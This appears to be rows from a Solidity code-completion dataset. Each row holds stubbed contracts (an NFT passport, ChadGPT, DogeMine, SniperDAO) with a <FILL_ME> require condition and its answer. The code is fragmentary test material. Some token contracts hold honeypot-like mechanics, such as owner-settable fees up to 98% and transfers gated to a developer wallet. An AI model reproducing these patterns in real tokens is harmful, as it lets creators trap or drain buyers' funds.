function updateRank(uint256 tokenId, uint32 _pioneerLevel, uint32 _legendLevel)external onlyRole(CONTRACT_ROLE){
}
function getSoftClay(uint passportId)external view onlyRole(CONTRACT_ROLE) returns(uint32){
}
//Admin or Helper Functions
// Mostly the ones use internaly to help user flow on the site.
function setFreeMinters(address[] calldata winners)external onlyRole(UPDATER_ROLE){
}
function setPrice(uint256 price) external onlyRole(UPDATER_ROLE) {
}
function setMaxAllowed(uint16 maxA)external onlyRole(UPDATER_ROLE){
}
function checkIfHasNFT(address owner)
external
view
returns (AccessToken[] memory nft)
{
}
function getCurrentTokenId() external view returns (string memory) {
}
function setMintLimit(uint32 limt) public onlyRole(UPDATER_ROLE) {
}
function sectionOne(uint _tokenId)external view returns(bytes memory){
}
// nftAccessTokenAttribute[_tokenId].description
// //token URI's
// ImageContract.getIPFSImageForElement(elm, 1),
// cdnImage: ImageContract.getCDNImageForElement(elm, 1)
function tokenURI(uint256 _tokenId)
public
view
override
returns (string memory)
{
}
// Transfers the ETH out of the contract to the specified address.
function withdraw() external {
}
}
| _tokenIds.current()+numberOfMints-1<=_mintLimit,"Will take you over max supply" | 128,105 | _tokenIds.current()+numberOfMints-1<=_mintLimit |
"owner needs to own the passport" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.1;
import "hardhat/console.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
//access control
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
// Helper functions OpenZeppelin provides.
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/utils/Base64.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
interface ImageDataInf{
function getCDNImageForElement(string calldata element, uint16 level)external view returns(string memory);
function getIPFSImageForElement(string calldata element, uint16 level)external view returns(string memory);
function getAnnimationForElement(string calldata element)external view returns(string memory);
}
interface TokenURIInf{
function maketokenURi(uint _tokenId, uint wlSpots, uint winChances, uint softClay ) external view returns(string memory);
function contractURI() external view returns (string memory);
}
interface WinContr {
function getReferalIncrease()external view returns(uint16);
function updateAfterLoss(uint passportId, string calldata city, uint32 buildingId)external;
}
contract MetropolisWorldPassport is ERC721Enumerable, Ownable, AccessControl {
address private IMAGE_DATA_CONTRACT;
ImageDataInf ImageContract;
address private WIN_CONTRACT;
WinContr WinContract;
address private WL_CONTRACT;
address private TURI_CONTRACT;
TokenURIInf TuriContract;
//defining the access roles
bytes32 public constant UPDATER_ROLE = keccak256("UPDATER_ROLE");
//bytes32 public constant BALANCE_ROLE = keccak256("BALANCE_ROLE");
bytes32 public constant CONTRACT_ROLE = keccak256("CONTRACT_ROLE");
//payment split contract
address payable private _paymentSplit;
// The tokenId is the NFTs unique identifier, it's just a number that goes
// 0, 1, 2, 3, etc.
using Counters for Counters.Counter;
Counters.Counter private _tokenIds; //counter for token ids
//updateable variables
uint32 public _mintLimit = 5000;
uint16 public _maxAllowedPerWallet = 301; //maximum allowed to mint per wallet
string private _oddAvatar = "nomad";
string private _evenAvatar = "citizen";
uint256 public _navPrice = 0.12 ether;
struct AccessToken {
uint256 id;
uint32 winChances;
uint32 softClay; // max is 4 billion
// string name;
string rank;
//string description;
//string image;
//string animation;
//string cdnImage;
string element;
uint avatarWl;
uint256[] whitelistSpots;
}
string[] elements = ["Fire", "Water", "Air", "Space", "Pixel", "Earth"];
//store the list of minted tokens metadata to thier token id
mapping(uint256 => AccessToken) nftAccessTokenAttribute;
//give away wallets
mapping(address=>uint16) _freeMintable; //winners of free passport are mapped here and can mint for free.
mapping(bytes => bool) _signatureUsed;
//set up functions
constructor(address imageContract, address admin) ERC721("Metropolis World Passport", "METWA") {
}
//overides
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721Enumerable ,AccessControl)
returns (bool)
{
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId)
internal
override(ERC721Enumerable)
{
}
function contractURI() public view returns (string memory) {
}
/**
* @dev Set up the addrese for other contracts which interact with this contract.
* @param winContract The address of the win chances contract.
* @param wlContract The address of the Whitelist Contract.
* @param turiContract The address of the Token URI contract
* @notice Can only be called by wallets with UPDATER_ROLE
*/
function setWLContractAddress(address payable paymentContract, address winContract, address wlContract, address turiContract)external onlyRole(UPDATER_ROLE){
}
function setImageContract(address imageContract)external onlyRole(UPDATER_ROLE){
}
//minting functions
function _internalMint(address toWallet, uint32 winChance)internal {
}
/**
* @dev Used internally to mint free passports and send them to addreses eg. comp winners.
* @param toWallet The address which the passport will be minted too.
* @notice Can only be called by wallets with UPDATER_ROLE
*/
function freeMint(address toWallet)external onlyRole(UPDATER_ROLE) {
}
/**
* @dev Used by users who hvae been awarded a free passport. Checks against the list of approved wallets
*/
function userFreeMint(uint16 mints)external{
}
function myFreeMints()external view returns(uint16){
}
function recoverSigner(bytes32 hash, bytes memory signature) internal pure returns (address) {
}
/**
* @dev Bulk minitng function for users.
* @param numberOfMints the number of passports to be minted.
* @param toAddress the address the nft is going to.
* @param referrerTokenId the passport ID of the referrer, pass 0 if there is no referall.
*/
function bulkMint(uint16 numberOfMints, address toAddress, uint256 referrerTokenId, bytes32 hash, bytes memory signature)external payable {
}
/**
* @dev Standard minitng with the added functionaility of a referal mechamisum.
* @param referrerTokenId The token id of the passport refering the mint
*/
function referralMint(uint256 referrerTokenId, address toAddress) internal {
}
//Whitelist Functions
// all the functions which created the proccess of adding or removing WL from the passport
//city WL spots
/**
* @dev used by the WL contract to attache whitlis spots for cities to passport.
* @param wlId The ID of the WL being attached
* @param passportId the token ID of the passport which the WL is being attcahed to.
* @notice only callable by a wallet/contract with the CONTRACT_ROLE
*/
function attachWLSpot(uint wlId, uint passportId)external onlyRole(CONTRACT_ROLE){
}
/**
* @dev Get the WL spots a particular passport has.
* @param passportId The token id of the passport
*/
function getWLSpots(uint passportId)external view returns(uint[] memory){
}
function detachCityWLSpot(uint passportId, uint index)external onlyRole(CONTRACT_ROLE){
}
//avatar whitelist spots
function contractRemoveAvatarWL(uint256 tokenId, address owner)
external
onlyRole(CONTRACT_ROLE)
{
// when the user mints the avatar this is called by that contract and the WL is removed from the passport
// can also be used to manually remove spot
// we assume the avatar contract has checked the WL spot is correct.
// check owner owns passport
require(<FILL_ME>)
nftAccessTokenAttribute[tokenId].avatarWl = 0;
}
function manualAddAvatarWL(uint256 tokenId, uint avatar)
external
onlyRole(UPDATER_ROLE)
{
}
function checkAvatarWL(uint passportId)external view returns(uint){
}
function setAvatarWLNames(string calldata odd, string calldata even)
external
onlyRole(UPDATER_ROLE)
{
}
//Win Chance functions
function userUpdateAfterLoss(uint passportId, string calldata city, uint32 buildingId)external{
}
function increaseWinChance(uint passportId, uint16 inc)external onlyRole(CONTRACT_ROLE){
}
function decreaseWinChance(uint passportId, uint16 dec)external onlyRole(CONTRACT_ROLE){
}
// view values
function getWinChances(uint256 tokenId)external view returns (uint32) {
}
//Soft Clay functions
// all the functions relating to the meteor dust process.
function increaseSoftClay(uint passportId, uint32 amount)external onlyRole(CONTRACT_ROLE){
}
function decreaseSoftClay(uint passportId, uint32 amount)external onlyRole(CONTRACT_ROLE){
}
function updateRank(uint256 tokenId, uint32 _pioneerLevel, uint32 _legendLevel)external onlyRole(CONTRACT_ROLE){
}
function getSoftClay(uint passportId)external view onlyRole(CONTRACT_ROLE) returns(uint32){
}
//Admin or Helper Functions
// Mostly the ones use internaly to help user flow on the site.
function setFreeMinters(address[] calldata winners)external onlyRole(UPDATER_ROLE){
}
function setPrice(uint256 price) external onlyRole(UPDATER_ROLE) {
}
function setMaxAllowed(uint16 maxA)external onlyRole(UPDATER_ROLE){
}
function checkIfHasNFT(address owner)
external
view
returns (AccessToken[] memory nft)
{
}
function getCurrentTokenId() external view returns (string memory) {
}
function setMintLimit(uint32 limt) public onlyRole(UPDATER_ROLE) {
}
function sectionOne(uint _tokenId)external view returns(bytes memory){
}
// nftAccessTokenAttribute[_tokenId].description
// //token URI's
// ImageContract.getIPFSImageForElement(elm, 1),
// cdnImage: ImageContract.getCDNImageForElement(elm, 1)
function tokenURI(uint256 _tokenId)
public
view
override
returns (string memory)
{
}
// Transfers the ETH out of the contract to the specified address.
function withdraw() external {
}
}
| ownerOf(tokenId)==owner,"owner needs to own the passport" | 128,105 | ownerOf(tokenId)==owner |
"You must own the passport to claim win chance increases" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.1;
import "hardhat/console.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
//access control
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
// Helper functions OpenZeppelin provides.
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/utils/Base64.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
interface ImageDataInf{
function getCDNImageForElement(string calldata element, uint16 level)external view returns(string memory);
function getIPFSImageForElement(string calldata element, uint16 level)external view returns(string memory);
function getAnnimationForElement(string calldata element)external view returns(string memory);
}
interface TokenURIInf{
function maketokenURi(uint _tokenId, uint wlSpots, uint winChances, uint softClay ) external view returns(string memory);
function contractURI() external view returns (string memory);
}
interface WinContr {
function getReferalIncrease()external view returns(uint16);
function updateAfterLoss(uint passportId, string calldata city, uint32 buildingId)external;
}
contract MetropolisWorldPassport is ERC721Enumerable, Ownable, AccessControl {
address private IMAGE_DATA_CONTRACT;
ImageDataInf ImageContract;
address private WIN_CONTRACT;
WinContr WinContract;
address private WL_CONTRACT;
address private TURI_CONTRACT;
TokenURIInf TuriContract;
//defining the access roles
bytes32 public constant UPDATER_ROLE = keccak256("UPDATER_ROLE");
//bytes32 public constant BALANCE_ROLE = keccak256("BALANCE_ROLE");
bytes32 public constant CONTRACT_ROLE = keccak256("CONTRACT_ROLE");
//payment split contract
address payable private _paymentSplit;
// The tokenId is the NFTs unique identifier, it's just a number that goes
// 0, 1, 2, 3, etc.
using Counters for Counters.Counter;
Counters.Counter private _tokenIds; //counter for token ids
//updateable variables
uint32 public _mintLimit = 5000;
uint16 public _maxAllowedPerWallet = 301; //maximum allowed to mint per wallet
string private _oddAvatar = "nomad";
string private _evenAvatar = "citizen";
uint256 public _navPrice = 0.12 ether;
struct AccessToken {
uint256 id;
uint32 winChances;
uint32 softClay; // max is 4 billion
// string name;
string rank;
//string description;
//string image;
//string animation;
//string cdnImage;
string element;
uint avatarWl;
uint256[] whitelistSpots;
}
string[] elements = ["Fire", "Water", "Air", "Space", "Pixel", "Earth"];
//store the list of minted tokens metadata to thier token id
mapping(uint256 => AccessToken) nftAccessTokenAttribute;
//give away wallets
mapping(address=>uint16) _freeMintable; //winners of free passport are mapped here and can mint for free.
mapping(bytes => bool) _signatureUsed;
//set up functions
constructor(address imageContract, address admin) ERC721("Metropolis World Passport", "METWA") {
}
//overides
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721Enumerable ,AccessControl)
returns (bool)
{
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId)
internal
override(ERC721Enumerable)
{
}
function contractURI() public view returns (string memory) {
}
/**
* @dev Set up the addrese for other contracts which interact with this contract.
* @param winContract The address of the win chances contract.
* @param wlContract The address of the Whitelist Contract.
* @param turiContract The address of the Token URI contract
* @notice Can only be called by wallets with UPDATER_ROLE
*/
function setWLContractAddress(address payable paymentContract, address winContract, address wlContract, address turiContract)external onlyRole(UPDATER_ROLE){
}
function setImageContract(address imageContract)external onlyRole(UPDATER_ROLE){
}
//minting functions
function _internalMint(address toWallet, uint32 winChance)internal {
}
/**
* @dev Used internally to mint free passports and send them to addreses eg. comp winners.
* @param toWallet The address which the passport will be minted too.
* @notice Can only be called by wallets with UPDATER_ROLE
*/
function freeMint(address toWallet)external onlyRole(UPDATER_ROLE) {
}
/**
* @dev Used by users who hvae been awarded a free passport. Checks against the list of approved wallets
*/
function userFreeMint(uint16 mints)external{
}
function myFreeMints()external view returns(uint16){
}
function recoverSigner(bytes32 hash, bytes memory signature) internal pure returns (address) {
}
/**
* @dev Bulk minitng function for users.
* @param numberOfMints the number of passports to be minted.
* @param toAddress the address the nft is going to.
* @param referrerTokenId the passport ID of the referrer, pass 0 if there is no referall.
*/
function bulkMint(uint16 numberOfMints, address toAddress, uint256 referrerTokenId, bytes32 hash, bytes memory signature)external payable {
}
/**
* @dev Standard minitng with the added functionaility of a referal mechamisum.
* @param referrerTokenId The token id of the passport refering the mint
*/
function referralMint(uint256 referrerTokenId, address toAddress) internal {
}
//Whitelist Functions
// all the functions which created the proccess of adding or removing WL from the passport
//city WL spots
/**
* @dev used by the WL contract to attache whitlis spots for cities to passport.
* @param wlId The ID of the WL being attached
* @param passportId the token ID of the passport which the WL is being attcahed to.
* @notice only callable by a wallet/contract with the CONTRACT_ROLE
*/
function attachWLSpot(uint wlId, uint passportId)external onlyRole(CONTRACT_ROLE){
}
/**
* @dev Get the WL spots a particular passport has.
* @param passportId The token id of the passport
*/
function getWLSpots(uint passportId)external view returns(uint[] memory){
}
function detachCityWLSpot(uint passportId, uint index)external onlyRole(CONTRACT_ROLE){
}
//avatar whitelist spots
function contractRemoveAvatarWL(uint256 tokenId, address owner)
external
onlyRole(CONTRACT_ROLE)
{
}
function manualAddAvatarWL(uint256 tokenId, uint avatar)
external
onlyRole(UPDATER_ROLE)
{
}
function checkAvatarWL(uint passportId)external view returns(uint){
}
function setAvatarWLNames(string calldata odd, string calldata even)
external
onlyRole(UPDATER_ROLE)
{
}
//Win Chance functions
function userUpdateAfterLoss(uint passportId, string calldata city, uint32 buildingId)external{
//called by user to update thier win chances after they loose
require(<FILL_ME>)
WinContract.updateAfterLoss(passportId, city, buildingId);
}
function increaseWinChance(uint passportId, uint16 inc)external onlyRole(CONTRACT_ROLE){
}
function decreaseWinChance(uint passportId, uint16 dec)external onlyRole(CONTRACT_ROLE){
}
// view values
function getWinChances(uint256 tokenId)external view returns (uint32) {
}
//Soft Clay functions
// all the functions relating to the meteor dust process.
function increaseSoftClay(uint passportId, uint32 amount)external onlyRole(CONTRACT_ROLE){
}
function decreaseSoftClay(uint passportId, uint32 amount)external onlyRole(CONTRACT_ROLE){
}
function updateRank(uint256 tokenId, uint32 _pioneerLevel, uint32 _legendLevel)external onlyRole(CONTRACT_ROLE){
}
function getSoftClay(uint passportId)external view onlyRole(CONTRACT_ROLE) returns(uint32){
}
//Admin or Helper Functions
// Mostly the ones use internaly to help user flow on the site.
function setFreeMinters(address[] calldata winners)external onlyRole(UPDATER_ROLE){
}
function setPrice(uint256 price) external onlyRole(UPDATER_ROLE) {
}
function setMaxAllowed(uint16 maxA)external onlyRole(UPDATER_ROLE){
}
function checkIfHasNFT(address owner)
external
view
returns (AccessToken[] memory nft)
{
}
function getCurrentTokenId() external view returns (string memory) {
}
function setMintLimit(uint32 limt) public onlyRole(UPDATER_ROLE) {
}
function sectionOne(uint _tokenId)external view returns(bytes memory){
}
// nftAccessTokenAttribute[_tokenId].description
// //token URI's
// ImageContract.getIPFSImageForElement(elm, 1),
// cdnImage: ImageContract.getCDNImageForElement(elm, 1)
function tokenURI(uint256 _tokenId)
public
view
override
returns (string memory)
{
}
// Transfers the ETH out of the contract to the specified address.
function withdraw() external {
}
}
| ownerOf(passportId)==msg.sender,"You must own the passport to claim win chance increases" | 128,105 | ownerOf(passportId)==msg.sender |
null | /**
,ad8888ba, 88 88 ,ad8888ba, 88888888ba 888888888888
d8"' `"8b 88 88 d8"' `"8b 88 "8b 88
d8' 88 88 d8' 88 ,8P 88
88 88,dPPYba, ,adPPYYba, ,adPPYb,88 88 88aaaaaa8P' 88
88 88P' "8a "" `Y8 a8" `Y88 88 88888 88""""""' 88
Y8, 88 88 ,adPPPPP88 8b 88 Y8, 88 88 88
Y8a. .a8P 88 88 88, ,88 "8a, ,d88 Y8a. .a88 88 88
`"Y8888Y"' 88 88 `"8bbdP"Y8 `"8bbdP"Y8 `"Y88888P" 88 88
TG : https://t.me/chadGPTportal
Twitter : https://twitter.com/chadgpt69
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract ChadGPT is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "ChadGPT";
string private constant _symbol = "chad.ai";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 15;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 40;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
address payable private _developmentAddress = payable(msg.sender);
address payable private _marketingAddress = payable(msg.sender);
address private uniswapRouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen = true;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = _tTotal*3/100;
uint256 public _maxWalletSize = _tTotal*18/1000;
uint256 public _swapTokensAtAmount = _tTotal*1/10000;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
}
constructor() {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
}
function removeAllFee() private {
}
function restoreAllFee() private {
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
}
function _transfer(
address from,
address to,
uint256 amount
) private {
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
}
function sendETHToFee(uint256 amount) private {
}
function manualsend() external {
}
function manualSwap(uint256 percent) external {
}
function toggleSwap (bool _swapEnabled) external {
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
}
function _takeTeam(uint256 tTeam) private {
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
}
function _getRate() private view returns (uint256) {
}
function _getCurrentSupply() private view returns (uint256, uint256) {
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
require(<FILL_ME>)
}
//Set maximum transaction
function setMaxTxnAndWalletSize(uint256 maxTxAmount, uint256 maxWalletSize) public onlyOwner {
}
}
| _redisFeeOnBuy+_redisFeeOnSell+_taxFeeOnBuy+_taxFeeOnSell<=98 | 128,112 | _redisFeeOnBuy+_redisFeeOnSell+_taxFeeOnBuy+_taxFeeOnSell<=98 |
null | /*
🌍Website: Https://dogeminebsc.com
🌐TwitterX: Https://x.com/dogeminebsc
🌐Telegram: T.me/BigStealthBSC
*/
// SPDX-License-Identifier: unlicense
pragma solidity 0.8.21;
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeTaxOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract DGMINE {
string public name_ = unicode"DogeMine";
string public symbol_ = unicode"DGMINE";
uint8 public constant decimals = 18;
uint256 public constant totalSupply = 578000000000000 * 10**decimals;
uint256 buyFeeTax = 0;
uint256 sellFeeTax = 0;
uint256 constant swapAmount = totalSupply / 100;
error Permissions();
function name() public view virtual returns (string memory) {
}
function symbol() public view virtual returns (string memory) {
}
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed DevDeploy,
address indexed spender,
uint256 value
);
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
address private pair;
address constant ETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address constant routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
IUniswapV2Router02 constant _uniswapV2Router = IUniswapV2Router02(routerAddress);
address payable constant DevDeploy = payable(address(0x718E0eD0Fb351d3BC73df55EE835909c92e466B7));
bool private swapping;
bool private tradingOpen;
constructor() {
}
receive() external payable {}
function approve(address spender, uint256 amount) external returns (bool){
}
function transfer(address to, uint256 amount) external returns (bool){
}
function transferFrom(address from, address to, uint256 amount) external returns (bool){
}
function _transfer(address from, address to, uint256 amount) internal returns (bool){
require(<FILL_ME>)
if(!tradingOpen && pair == address(0) && amount > 0)
pair = to;
balanceOf[from] -= amount;
if (to == pair && !swapping && balanceOf[address(this)] >= swapAmount){
swapping = true;
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = ETH;
_uniswapV2Router.swapExactTokensForETHSupportingFeeTaxOnTransferTokens(
swapAmount,
0,
path,
address(this),
block.timestamp
);
DevDeploy.transfer(address(this).balance);
swapping = false;
}
if(from != address(this)){
uint256 FeeTaxAmount = amount * (from == pair ? buyFeeTax : sellFeeTax) / 100;
amount -= FeeTaxAmount;
balanceOf[address(this)] += FeeTaxAmount;
}
balanceOf[to] += amount;
emit Transfer(from, to, amount);
return true;
}
function openTrading() external {
}
function _setFeeTax(uint256 _buy, uint256 _sell) private {
}
function setFeeTax(uint256 _buy, uint256 _sell) external {
}
}
| tradingOpen||from==DevDeploy||to==DevDeploy | 128,191 | tradingOpen||from==DevDeploy||to==DevDeploy |
"!OWNER" | /*
SniperDAO (sDAO) - t.me/SniperDAO_official
Supply: 10.000.000
Fee:
6% project
*/
// SPDX-License-Identifier: none
pragma solidity ^0.8.19;
library SafeTransferLib {
function safeTransferETH(address to, uint256 amount) internal {
}
function safeTransfer(address token, address to, uint256 amount) internal {
}
function balanceOf(address token, address wallet) internal view returns (uint256 result) {
}
}
abstract contract Auth {
event OwnershipTransferred(address owner);
mapping (address => bool) internal authorizations;
address public owner;
constructor(address _owner) {
}
modifier onlyOwner() {
}
modifier authorized() {
}
function authorize(address adr) public onlyOwner {
}
function unauthorize(address adr) public onlyOwner {
}
function isOwner(address account) public view returns (bool) {
}
function isAuthorized(address adr) public view returns (bool) {
}
function transferOwnership(address payable adr) public onlyOwner {
}
}
interface IDexFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface V2Pair {
function token0() external view returns (address);
function token1() external view returns (address);
}
contract SniperDAO is Auth {
event Transfer(address indexed from, address indexed to, uint256 amount);
event Approval(address indexed owner, address indexed spender, uint256 amount);
address wrapped;
address constant DEAD = 0x000000000000000000000000000000000000dEaD;
address constant ZERO = 0x0000000000000000000000000000000000000000;
uint8 constant public decimals = 4;
string public name = "SniperDAO";
string public symbol = "$SniperDAO";
uint256 public totalSupply = 10_000_000 * (10 ** decimals);
uint256 public max_tx = totalSupply / 1000 * 10; // 1% of total supply initially
uint256 public max_wallet = totalSupply / 1000 * 20; // 2% of total supply initially
mapping (address => mapping(address => uint256)) public allowance;
mapping (address => uint256) public balanceOf;
mapping (address => bool) public isPair;
mapping (address => bool) public isFeeExempt;
mapping (address => bool) public isLimitExempt;
uint256 constant public feeDenominator = 1000; // 100%
uint256 public projectFee = 100; // 10% fee
address public feeReceiver;
uint256 launchedAt = 0;
address public router;
address public factory;
address public mainPair;
address[] public pairs;
modifier swapping() { }
uint256 public smallSwapThreshold = totalSupply / 1000; // 0,1% of total supply initially
uint256 public largeSwapThreshold = totalSupply / 500; // 0,2% of total supply initially
uint256 public swapThreshold = smallSwapThreshold;
bool public swapEnabled = true;
bool inContractSwap;
constructor() Auth(tx.origin) payable {
}
receive() external payable {}
function getCirculatingSupply() public view returns (uint256) {
}
function launched() internal view returns (bool) {
}
function launch() internal {
}
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////// TRANSFER //////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
function approve(address spender, uint256 amount) public virtual returns (bool) {
}
function transfer(address recipient, uint256 amount) public virtual returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual returns (bool) {
}
function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
if (!launched() && isPair[recipient]) {
require(<FILL_ME>)
launch();
}
if (inContractSwap) return _basicTransfer(sender, recipient, amount);
checkTxLimit(sender, recipient, amount);
if (shouldSwapBack(recipient)) swapBack(recipient);
balanceOf[sender] -= amount;
uint256 amountReceived = amount;
if (isPair[sender] || isPair[recipient]) {
amountReceived = shouldTakeFee(sender, recipient) ? takeFee(sender, amount) : amount;
}
unchecked {
balanceOf[recipient] += amountReceived;
emit Transfer(sender, recipient, amountReceived);
}
return true;
}
function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
}
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////// LIMITS //////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
function checkTxLimit(address sender, address recipient, uint256 amount) internal view {
}
function changeMaxTx(uint256 percent, uint256 denominator) external authorized {
}
function changeMaxWallet(uint256 percent, uint256 denominator) external authorized {
}
function setIsFeeExempt(address holder, bool exempt) external authorized {
}
function setIsLimitExempt(address holder, bool exempt) external authorized {
}
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////// FEE ///////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
function shouldTakeFee(address sender, address recipient) internal view returns (bool) {
}
function takeFee(address sender, uint256 amount) internal returns (uint256) {
}
function adjustFees(uint256 _projectFee) external authorized {
}
function setFeeReceivers(address _feeReceiver) external authorized {
}
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////// CONTRCT SWAP ////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
function shouldSwapBack(address recipient) internal view returns (bool) {
}
function swapBack(address pairSwap) internal swapping {
}
function setSwapBackSettings(bool _enabled, uint256 _smallAmount, uint256 _largeAmount) external authorized {
}
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////// OTHERS /////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
function updateTokenDetails(string calldata newName, string calldata newSymbol) external authorized {
}
function rescue() external authorized {
}
function rescueToken(address _token, uint256 amount) external authorized {
}
function burnContractTokens(uint256 amount) external authorized {
}
function createNewPair(address token) external authorized {
}
function setNewPair(address pair) external authorized {
}
function showPairList() public view returns(address[] memory){
}
}
| isAuthorized(sender),"!OWNER" | 128,276 | isAuthorized(sender) |
"unstake amount is bigger than you staked" | @v4.5.0
/**
